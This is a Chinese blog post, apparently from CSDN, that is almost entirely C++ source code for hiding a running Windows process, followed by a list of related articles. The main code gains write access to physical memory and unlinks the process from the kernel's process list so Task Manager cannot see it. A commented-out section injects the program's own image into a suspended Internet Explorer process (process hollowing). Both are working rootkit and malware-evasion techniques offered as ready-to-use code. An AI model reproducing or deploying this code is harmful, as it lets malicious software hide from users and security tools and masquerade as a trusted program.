hide process

最新推荐文章于 2017-11-04 21:53:00 发布
最新推荐文章于 2017-11-04 21:53:00 发布
阅读量1k 收藏
点赞数
文章标签： attributes null struct string header access
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/gclu212/article/details/1874002
版权


/
//HideProcess.cpp
#include "stdafx.h"
#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>

#include"HideProcess.h"

#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK 
{
    NTSTATUS Status;
    ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING 
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT                0x00000002L
#define OBJ_PERMANENT            0x00000010L
#define OBJ_EXCLUSIVE            0x00000020L
#define OBJ_CASE_INSENSITIVE    0x00000040L
#define OBJ_OPENIF                0x00000080L
#define OBJ_OPENLINK            0x00000100L
#define OBJ_KERNEL_HANDLE        0x00000200L
#define OBJ_VALID_ATTRIBUTES    0x000003F2L

typedef struct _OBJECT_ATTRIBUTES 
{
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
    OUT PHANDLE SectionHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes
    );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
    IN OUT PUNICODE_STRING DestinationString,
    IN PCWSTR SourceString
    );

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary(_T("ntdll.dll"));

    if (NULL == g_hNtDLL)
        return FALSE;

    RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, 

"RtlInitUnicodeString");
    ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

    return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
    if(NULL != g_hNtDLL)
        FreeLibrary(g_hNtDLL);

    g_hNtDLL = NULL;
}
//---------------------------------------------------------------------------
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) 
{ 
    PACL pDacl                    = NULL; 
    PSECURITY_DESCRIPTOR pSD    = NULL; 
    PACL pNewDacl = NULL; 
    
    DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, 

NULL, &pDacl, NULL, &pSD);

    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD) 
        LocalFree(pSD); 
    if(pNewDacl) 
        LocalFree(pNewDacl); 
    }

    EXPLICIT_ACCESS ea; 
    RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); 
    ea.grfAccessPermissions = SECTION_MAP_WRITE; 
    ea.grfAccessMode = GRANT_ACCESS; 
    ea.grfInheritance= NO_INHERITANCE; 
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; 
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER; 
    ea.Trustee.ptstrName = _T("CURRENT_USER"); 

    dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
    
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD) 
        LocalFree(pSD); 
    if(pNewDacl) 
        LocalFree(pNewDacl); 
    }
    dwRes = SetSecurityInfo

(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);
    
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD) 
        LocalFree(pSD); 
    if(pNewDacl) 
        LocalFree(pNewDacl); 
    }

} 
//---------------------------------------------------------------------------
HANDLE OpenPhysicalMemory()
{
    NTSTATUS status;
    UNICODE_STRING physmemString;
    OBJECT_ATTRIBUTES attributes;
    ULONG PhyDirectory;

    g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx (&g_osvi);

    if (5 != g_osvi.dwMajorVersion)
        return NULL;

    switch(g_osvi.dwMinorVersion)
    {
        case 0:
            PhyDirectory = 0x30000;
            break; //2k
        case 1:
            PhyDirectory = 0x39000;
            break; //xp
        default:
            return NULL;
    }

    RtlInitUnicodeString(&physmemString, L"//Device//PhysicalMemory");

    attributes.Length                    = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory            = NULL;
    attributes.ObjectName                = &physmemString;
    attributes.Attributes                = 0;
    attributes.SecurityDescriptor        = NULL;
    attributes.SecurityQualityOfService    = NULL;

    status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes); 

    if(status == STATUS_ACCESS_DENIED)
    { 
        status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes); 
        SetPhyscialMemorySectionCanBeWrited(g_hMPM); 
        CloseHandle(g_hMPM);
        status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes); 
    }

    if(!NT_SUCCESS(status)) 
        return NULL;

    g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory, 

0x1000);

    if( g_pMapPhysicalMemory == NULL )
        return NULL;

    return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
{
    ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;
    PGDE = BaseAddress[VAddr>>22];

    if (0 == (PGDE&1))
        return 0;

    ULONG tmp = PGDE & 0x00000080;

    if (0 != tmp)
    {
        PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
    }
    else
    {
        PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
        PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
        
        if (0 == (PTE&1))
            return 0;

        PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
        UnmapViewOfFile((PVOID)PGDE);
    }

    return (PVOID)PAddr;
}
//---------------------------------------------------------------------------
ULONG GetData(PVOID addr)
{
    ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
    PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys & 

0xfffff000, 0x1000);
    
    if (0 == tmp)
        return 0;

    ULONG ret = tmp[(phys & 0xFFF)>>2];
    UnmapViewOfFile(tmp);

    return ret;
}
//---------------------------------------------------------------------------
BOOL SetData(PVOID addr,ULONG data)
{
    ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
    PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);

    if (0 == tmp)
        return FALSE;

    tmp[(phys & 0xFFF)>>2] = data;
    UnmapViewOfFile(tmp);

    return TRUE;
}
//---------------------------------------------------------------------------
long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
{
   ExitProcess(0);
   return 1 ;
}
//---------------------------------------------------------------------------
BOOL YHideProcess()
{
//    SetUnhandledExceptionFilter(exeception);

    if (FALSE == InitNTDLL())
        return FALSE;

    if (0 == OpenPhysicalMemory())
        return FALSE;

    ULONG thread  = GetData((PVOID)0xFFDFF124); //kteb
    ULONG process = GetData(PVOID(thread + 0x44)); //kpeb

    ULONG fw, bw;
    if (0 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0xa0));
        bw = GetData(PVOID(process + 0xa4));        
    }

    if (1 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0x88));
        bw = GetData(PVOID(process + 0x8c));
    }
        
    SetData(PVOID(fw + 4), bw);
    SetData(PVOID(bw), fw);

    CloseHandle(g_hMPM);
    CloseNTDLL();

    return TRUE;
}

BOOL HideProcess()
{
 static BOOL b_hide = false;
 if (!b_hide)
 {
  b_hide = true;
  YHideProcess();
  return true;
 }
 return true;
}
/*#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

typedef struct _ChildProcessInfo
{
 DWORD dwBaseAddress;
 DWORD dwReserve;
} CHILDPROCESS, *PCHILDPROCESS;

NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection(HANDLE ProcessHandle,PVOID BaseAddress);

int main(int argc, char* argv[])
{
 char IeModule[MAX_PATH] = {0};
 char SelfModule[MAX_PATH] = {0};

 HMODULE hModule;
 DWORD dwImageSize;
 PIMAGE_DOS_HEADER pDos_Header = NULL;
 PIMAGE_NT_HEADERS pNt_Header  = NULL;

 STARTUPINFO si = {0};
 PROCESS_INFORMATION pi;
 CONTEXT  ThreadContext;
 DWORD *pPEB,dwRead;
 LPVOID lpVirAddress = NULL;
 CHILDPROCESS ChildProcess;

 GetSystemDirectory(IeModule,MAX_PATH);
 IeModule[2] = '/0';
 lstrcat(IeModule,"//Program Files//Internet Explorer//iexplore.exe");
 GetModuleFileName(NULL,SelfModule,MAX_PATH);
 if(!strcmp(IeModule,SelfModule))
 {
  MessageBox(NULL,"fuck , ok","rhett",MB_OK);
  return 0;
 }

 hModule = GetModuleHandle(NULL);  //得到自己进程装载的基地址
 if(hModule==NULL)
 {
  printf("get self module handle failed/n");
  return -1;
 }

 pDos_Header = (PIMAGE_DOS_HEADER)hModule;
 pNt_Header  = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDos_Header->e_lfanew);

// 得到内存映象的大小
 _asm
 {
  mov  ecx,0x30
  mov  eax,fs:[ecx]
  mov  eax,[eax + 0x0c]
  mov  esi,[eax + 0x0c]
  add  esi,0x20
  lodsd
  mov  dwImageSize,eax
 }

 CreateProcess(
     NULL,
     IeModule,
     NULL,
     NULL,
     0,
     CREATE_SUSPENDED,
     NULL,
     NULL,
     &si,
     &pi
     );

 ThreadContext.ContextFlags = CONTEXT_FULL;
 GetThreadContext(pi.hThread,&ThreadContext);

 pPEB = (DWORD*)ThreadContext.Ebx;  //得到peb
 
 ReadProcessMemory(                //得到装载地址     
      pi.hProcess,
      &pPEB[2],
      (LPVOID)&(ChildProcess.dwBaseAddress),
      sizeof(DWORD),
      &dwRead
      );

 ZwUnmapViewOfSection(pi.hProcess,(PVOID)ChildProcess.dwBaseAddress);
 lpVirAddress = VirtualAllocEx(pi.hProcess,(LPVOID)hModule,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
 // 重写装载地址
 WriteProcessMemory(pi.hProcess,&pPEB[2],&lpVirAddress,sizeof(DWORD),&dwRead);
 // 写内存映象
 WriteProcessMemory(pi.hProcess,lpVirAddress,hModule,dwImageSize,&dwRead);

 ThreadContext.ContextFlags = CONTEXT_FULL;
 if((DWORD)lpVirAddress==ChildProcess.dwBaseAddress)
 {
  ThreadContext.Eax = pNt_Header->OptionalHeader.ImageBase + pNt_Header->OptionalHeader.AddressOfEntryPoint;
 }
 else
 {
  ThreadContext.Eax = (DWORD)lpVirAddress + pNt_Header->OptionalHeader.AddressOfEntryPoint;
 }

 SetThreadContext(pi.hThread,&ThreadContext);
 ResumeThread(pi.hThread);

 return 0;
}

//-----------------------------------------------------------------------------------

几个重要数据结构：

peb 的结构太长，只写前几个，这里也只用到偏移8byte的字段

struct _PEB

+0x000  InheritedAddressSpace;

+0x001  ReadImageFileExecOptions;

+0x002  BeingDebugged;

+003  SpareBool;

+004  Mutant;

+008  ImageBaseAddress;

+0x00C  Ldr

...............

typedef struct _LDR_MODULE
{
    LIST_ENTRY        InLoadOrderModuleList;            // +0x00
    LIST_ENTRY        InMemoryOrderModuleList;          // +0x08
    LIST_ENTRY        InInitializationOrderModuleList;  // +0x10
    PVOID             BaseAddress;                      // +0x18
    PVOID             EntryPoint;                       // +0x1c
    ULONG             SizeOfImage;                      // +0x20
    UNICODE_STRING    FullDllName;                      // +0x24
    UNICODE_STRING    BaseDllName;                      // +0x2c
    ULONG             Flags;                            // +0x34
    SHORT             LoadCount;                        // +0x38
    SHORT             TlsIndex;                         // +0x3a
    LIST_ENTRY        HashTableEntry;                   // +0x3c
    ULONG             TimeDateStamp;                    // +0x44
                                                        // +0x48
} LDR_MODULE, *PLDR_MODULE;

 

*/ 

 

 

 

 

 

 

 

 

//
//HideProcess.h
BOOL HideProcess();

 

 

 

 

 

 

 

gclu212
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
HideProcess(隐藏进程) Ring0 win7 x86
拉塞尔的博客
11-23 3015
    我们可以通过遍历EProcess结构体中的双向链表ActiveProcessLinks，找到目标进程结点后将该节点从双向链表中移除，便实现了进程隐藏的目的，此时打开win7的任务管理器会发现运行的calc进程并没有显示。 使用windbg查看EProcess结构：     2: kd&gt; !process 0 0     //crtl+F查找explorer     PROCESS ...
Hide Process And File
11-11
Hide Process And File 本人目前还没有把环境搭好， 要下的朋友 需要的话， 可以下载 看了代码应该可以实现目的(ProcessAndFileHider.zip)
隐藏进程小工具hideprocesstool
01-13
主要用于隐藏系统进程,不被恶意程序读取自己电脑进程,保护自己隐私.
hideprocess隐藏进程的驱动代码
01-25
hideprocess隐藏进程的驱动代码，cpp文件
HideProcess完结篇.zip_c++ 进程隐藏_c++隐藏进程_隐藏进程_隐藏驱动_驱动隐藏进程
07-15
C++隐藏进程，C++语言编写驱动级隐藏
hideProcess:hyde.dll 在 Windows2kWindows7（x86x64 位）的任务管理器中隐藏了一个进程
06-29
隐藏进程 'hideProcess' 在 Windows2k/Windows7（x86/x64 位）上从任务管理器中隐藏一个进程！ 您的流程可以将其注入到其他流程中，只要您喜欢。 该示例使用 SetWindowsHookEx 和 CBT 挂钩（dll 导出 CBTProc）将其注入所有正在运行的进程。 按 Esc 退出脚本。 注意：如果您不编译脚本，AutoHotKey.exe 将被隐藏。 否则 .exe 的名称将被隐藏。 重要提示：这仅适用于您使用的是 x64 位操作系统和 64 位版本的 AutoHotkey，或者您使用的是 x86 位操作系统和 32 位版本的 AutoHotkey。 如果您使用的是 x64 位操作系统但使用 32 位 AHK（反之亦然），这将不起作用！！！
HideProcessTools
05-15
进程隐藏,可以隐藏进程,系统都发现不了.经常用作外挂隐藏
隐藏进程的unit HideProcess
随矜而去 BLOG
08-31 866
unit HideProcess;interfacefunction MyHideProcess: Boolean;implementationusesWindows, SysUtils, Variants, Classes, AclAPI, accCtrl;typeNTSTATUS = LongInt;const//NT_SUC
内核隐藏进程（源码）
liujiayu2的专栏
06-16 2601
自己测试的时候编译失败了，提示是这个PsGetProcessImageFileName API找不到链接库，目测可能是我的DDK版本不够新，先记录下，改天再升级ddk做测试。 #include    #include    #include       NTKERNELAPI UCHAR *PsGetProcessImageFileName(PEPROCESS Pro
Hide Process
namgking的专栏
09-24 654
<!--google_ad_client = "pub-3527323059587280";/* 468x60, 创建于 08-10-10 */google_ad_slot = "6038158497";google_ad_width = 468;google_ad_height = 60;//--><script type="text/javascript"s
hide-process.zip_hide_hide process
09-22
Driver to Hide Processes and Files. Second Edition: Splicing
article_hideprocess_hide_Articlehidedll_
09-29
Article in Russian laguage.How to hide dll in process.
hideprocess.rar
10-27
驅動級隱藏進程。 Macro for easy hook/unhook. On X86 implementations of Zw* func- tions, the DWORD following the first byte is the system call number, so we reach into the Zw function passed as a parameter, and pull the number out. This makes system call hooking depe ndent ONLY on the Zw* function implementation not changing.
vc 隐藏进程
云守护的专栏
03-25 6761
#ifndef HIDEPROCESS_H #define HIDEPROCESS_H class CHideProcess { public: // 接口：隐藏当前进程 static BOOL HideCurrent(); // 接口：隐藏当前进程 static BOOL HideByID(DWORD dwID); // 析构 virtual ~CHideProcess();
在2000和xp下，隐藏进程,vc6.0测试通过
yanzheng1的专栏
01-14 1260
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Hide Process#include#include#include#defin
【转】MFC隐藏进程自身（任务管理器不可见，wSysCheck等工具可见）
weixin_34253539的博客
01-02 286
只要把cpp和h加入工程，include就可以了。 代码地址： //------------------HideProcess.h-------------------- //加入MFC工程调用即可 BOOL HideProcess(); //------------------HideProcess.cpp------------------ #include "s...
HideProcess.cpp
x140yu的专栏
07-18 1199
////////////////////////////////////////////////////////////////////////// // HideProcess.cpp // // Tested on: (All in VMware) //     NT SP6 Wkst.   Working //     2K SP4 Pro.    Working //     XP SP2
【windows核心编程】HideProcess
weixin_30783629的博客
11-04 185
A Basic Windows DKOM Rootkit Pt 1 https://www.landhb.me/posts/v9eRa/a-basic-windows-dkom-rootkit-pt-1/ Project：https://github.com/landhb/HideProcess 转载于:https://www.cnblogs.com/17bdw/p/7784747....
易语言hideprocess源码
最新发布
10-01
易语言是一种编程语言，它的hideprocess函数是用来隐藏进程的。下面是hideprocess函数的源码示例： ``` #include void HideProcess() { // 获取当前进程句柄 HANDLE hProcess = GetCurrentProcess(); // ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值